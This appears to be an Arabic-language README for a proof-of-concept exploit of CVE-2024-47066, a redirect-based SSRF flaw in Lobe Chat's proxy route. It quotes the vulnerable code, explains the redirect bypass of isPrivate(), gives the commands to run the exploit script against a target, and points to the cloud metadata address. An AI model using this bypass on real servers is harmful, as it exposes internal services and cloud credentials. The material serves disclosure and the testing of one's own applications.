
استغلال ثغرة تزوير الطلبات من جانب الخادم في Lobe Chat
★ CVE-2024-47066 LobeChat SSRF PoC ★
CVE-2024-47066 : Lobe Chat هو إطار عمل مفتوح المصدر للمحادثة بالذكاء الاصطناعي. قبل الإصدار 1.19.13، لم تكن حماية تزوير الطلبات من جانب الخادم المطبقة في src/app/api/proxy/route.ts تراعي إعادة التوجيه، وكان يمكن تجاوزها عندما يقدم المهاجم عنوان URL خارجيًا ضارًا يعيد التوجيه إلى موارد داخلية مثل شبكة خاصة أو عنوان loopback. يحتوي الإصدار 1.19.13 على إصلاح محسّن لهذه المشكلة.
المُبلِّغ: a1loy
https://github.com/user-attachments/assets/2c4a3be0-5732-48f5-a96c-d361fd914fec
git clone https://github.com/l8BL/CVE-2024-47066.git
cd CVE-2024-47066
cd docker
docker-compose up -d
(خارجي) LodeChat --> هجوم SSRF --> (داخلي) http://www.internal-service:4000
pip install -r requirements.txt
python3 CVE-2024-47066.py -v <URL_TO_EXPLOIT> -i <URL_TO_REQUEST>
python3 CVE-2024-47066.py -v http://localhost:3210 -i http://www.internal-service:4000
CVE-2024-47066


import { isPrivate } from 'ip';
import { NextResponse } from 'next/server';
import dns from 'node:dns';
import { promisify } from 'node:util';
const lookupAsync = promisify(dns.lookup);
export const runtime = 'nodejs';
/**
* just for a proxy
*/
export const POST = async (req: Request) => {
const url = new URL(await req.text());
let address;
try {
const lookupResult = await lookupAsync(url.hostname);
address = lookupResult.address;
} catch (err) {
console.error(`${url.hostname} DNS parser error:`, err);
return NextResponse.json({ error: 'DNS parser error' }, { status: 504 });
}
const isInternalHost = isPrivate(address);
if (isInternalHost)
return NextResponse.json({ error: 'Not support internal host proxy' }, { status: 400 });
const res = await fetch(url.toString());
return new Response(res.body, { headers: res.headers });
};
أسفل السطر 26، لا يوجد أي مكان لتحديد استجابة إعادة التوجيه. لذلك، عند استخدام خدمة تقصير الروابط، يمكنك بسهولة تجاوز دالة "isPrivate()".
إرسال طلب إلى http://169.254.169.254
هذا المستودع ليس مخصصًا ليكون استغلال SSRF للثغرة CVE-2024-47066. الغرض من هذا المشروع هو مساعدة الأشخاص على التعرف على هذه الثغرة، وربما اختبار تطبيقاتهم الخاصة.